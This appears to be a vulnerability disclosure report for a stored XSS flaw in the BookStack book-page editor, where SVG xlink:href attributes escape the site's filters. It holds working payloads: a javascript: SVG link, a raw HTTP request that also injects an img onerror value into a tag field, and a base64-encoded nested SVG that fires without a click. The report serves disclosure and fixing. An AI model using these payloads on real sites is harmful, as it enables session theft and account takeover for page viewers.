✍️ Description

There is svg tag filtration problem in “book page” egit leading to stored XSS.
SVG images can be used on book pages, but there is not server side attribute filtration implemented for it.

🕵️‍♂️ Proof of Concept

There is filter for href attribute, but inside SVG xlink:href used. That means attacker can use both javascript: or data: inside it.

SVG with XSS №1 (user interaction required, acts like <a>)

<svg id="test" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a>
&lt;rect x="0" y="0" width="100" height="100" /&gt;
</a>
&lt;/svg&gt;

Example request with it

POST /bookstack/public/books/bookname/page/pagename HTTP/1.1
Host: 192.168.255.78
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Origin: http://192.168.255.78
DNT: 1
Connection: close
Referer: /bookstack/public/books/bookname/page/pagename
Cookie: <COOKIE>
Upgrade-Insecure-Requests: 1

_token=&lt;TOKEN&gt;&_method=PUT&summary=&name=test&html=<p>&lt;svg+xmlns%3d"http%3a//www.w3.org/2000/svg"+xmlns%3axlink%3d"http%3a//www.w3.org/1999/xlink"+width%3d"100"+height%3d"100"&gt;&lt;a+xlink%3ahref%3d"javascript%3aalert(document.domain)"&gt;&lt;rect+x%3d"0"+y%3d"0"+width%3d"100"+height%3d"100"&gt;&lt;/rect&gt;</a>&lt;/svg&gt;</p>&tags%5B0%5D%5Bname%5D=%3Cimg%2Fsrc%2Fonerror%3Dalert%28%29%3E&tags%5B0%5D%5Bvalue%5D=&tags%5B1%5D%5Bname%5D=&tags%5B1%5D%5Bvalue%5D=&tags%5Brandrowid%5D%5Bname%5D=&tags%5Brandrowid%5D%5Bvalue%5D=&attachment_link_uploaded_to=2&attachment_link_name=&attachment_link_url=&template=false

SVG with XSS №2 (svg inside svg, no user interaction needed to shoot xss)
This thing more “spicy”: svg hidden inside uses “on”-events, which be filtered on normal circumstances and also it’s not visible on page

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="data:application/xml;base64 ,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KPGRlZnM+CjxjaXJjbGUgaWQ9InRlc3QiIHI9IjAiIGN4PSIwIiBjeT0iMCIgc3R5bGU9ImZpbGw6ICNGMDAiPgo8c2V0IGF0dHJpYnV0ZU5hbWU9ImZpbGwiIGF0dHJpYnV0ZVR5cGU9IkNTUyIgb25iZWdpbj0nYWxlcnQoZG9jdW1lbnQuZG9tYWluKScKb25lbmQ9J2FsZXJ0KCJvbmVuZCIpJyB0bz0iIzAwRiIgYmVnaW49IjBzIiBkdXI9Ijk5OXMiIC8+CjwvY2lyY2xlPgo8L2RlZnM+Cjx1c2UgeGxpbms6aHJlZj0iI3Rlc3QiLz4KPC9zdmc+#test"/>
</svg>

💥 Impact

Stored XSS on book-page

Recommendation

Add filtration to svg-specific tags/attributes